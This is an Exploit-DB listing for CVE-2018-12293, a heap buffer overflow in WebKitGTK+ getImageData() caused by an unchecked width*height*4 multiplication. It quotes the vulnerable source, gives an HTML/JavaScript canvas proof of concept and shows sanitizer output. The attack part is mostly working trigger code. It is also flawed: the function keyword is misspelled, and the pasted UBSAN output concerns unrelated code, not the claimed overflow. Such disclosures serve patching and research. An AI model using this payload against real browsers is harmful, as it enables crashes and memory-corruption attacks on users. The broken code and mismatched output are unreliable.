WebkitGTK+ 2.20.3 - 'ImageBufferCairo::getImageData()' Buffer Overflow (PoC)

EDB-ID:

45205


Author:

PeregrineX

Type:

local


Platform:

Linux

Date:

2018-08-16


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# Exploit Title: WebkitGTK+ 2.20.3 - 'ImageBufferCairo::getImageData()' Buffer Overflow (PoC)
# Date: 2018-08-15
# Exploit Author: PeregrineX
# Vendor Homepage: https://webkitgtk.org/ & https://webkit.org/wpe/
# Software Link: https://webkitgtk.org/releases/ & https://wpewebkit.org/releases/
# Version: <2.20.3 (GTK+) <2.20.1 (WPE)
# Tested on: WebKitGTK+ 2.20.2
# CVE : CVE-2018-12293

# SUMMARY:
# getImageData() in ImageBufferCairo.cpp multiplies rect.width() * rect.height() * 4 
# without any overflow checks. If result is larger than UINT_MAX, 
# heap-based buffer overflow via integer overflow will occur, 
# which could be exploited further.

# Works on WebKitGTK+ <2.20.3 and WPE WebKit <2.20.1
# Credit to ADlab of Venustech for originally finding this vulnerability.

Vulnerable Code (Source/WebCore/platform/graphics/cairo/ImageBufferCairo.cpp):

template <AlphaPremultiplication premultiplied>
RefPtr<Uint8ClampedArray> getImageData(const IntRect& rect, const IntRect& logicalRect, const ImageBufferData& data, const IntSize& size, const IntSize& logicalSize, float resolutionScale)
{
    auto result = Uint8ClampedArray::createUninitialized(rect.width() * rect.height() * 4);
    if (!result)
        return nullptr;
//...

# Proof of Concept:
<html>
  <head>
    <script>
        funciton poc() {
            var c = document.getElementById("myCanvas");
            var ctx = c.getContext("2d");
            var imgData = ctx.getImageData(0, 0, 32768, 32768);
        }
    </script>
  </head>
  <body onload="poc()">
    <canvas id="myCanvas" width="32768" height="32768">No HTML5 canvas tag.</canvas>
  </body>
</html>

# Output snippet
UBSAN output:
../Source/JavaScriptCore/runtime/JSGlobalObject.cpp:1608:22: runtime error: 
call to function (unknown) through pointer to incorrect function type 
'JSC::RuntimeFlags (*)(const JSC::JSGlobalObject *)'
(/usr/local/lib/libwebkit2gtk-4.0.so.37+0x11116c70): note: (unknown) defined here
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior 
../Source/JavaScriptCore/runtime/JSObject.h:695:17 in 
DerivedSources/JavaScriptCore/KeywordLookup.h:469:13: runtime error: 
load of misaligned address 0x7fd8a1d95062 for type 'const uint32_t' 
(aka 'const unsigned int'), which requires 4 byte alignment
0x7fd8a1d95062: note: pointer points here
 00 00  28 66 75 6e 63 74 69 6f  6e 20 28 74 68 69 73 56  61 6c 75 65 2c 20 61 72  67 75 6d 65 6e 74
              ^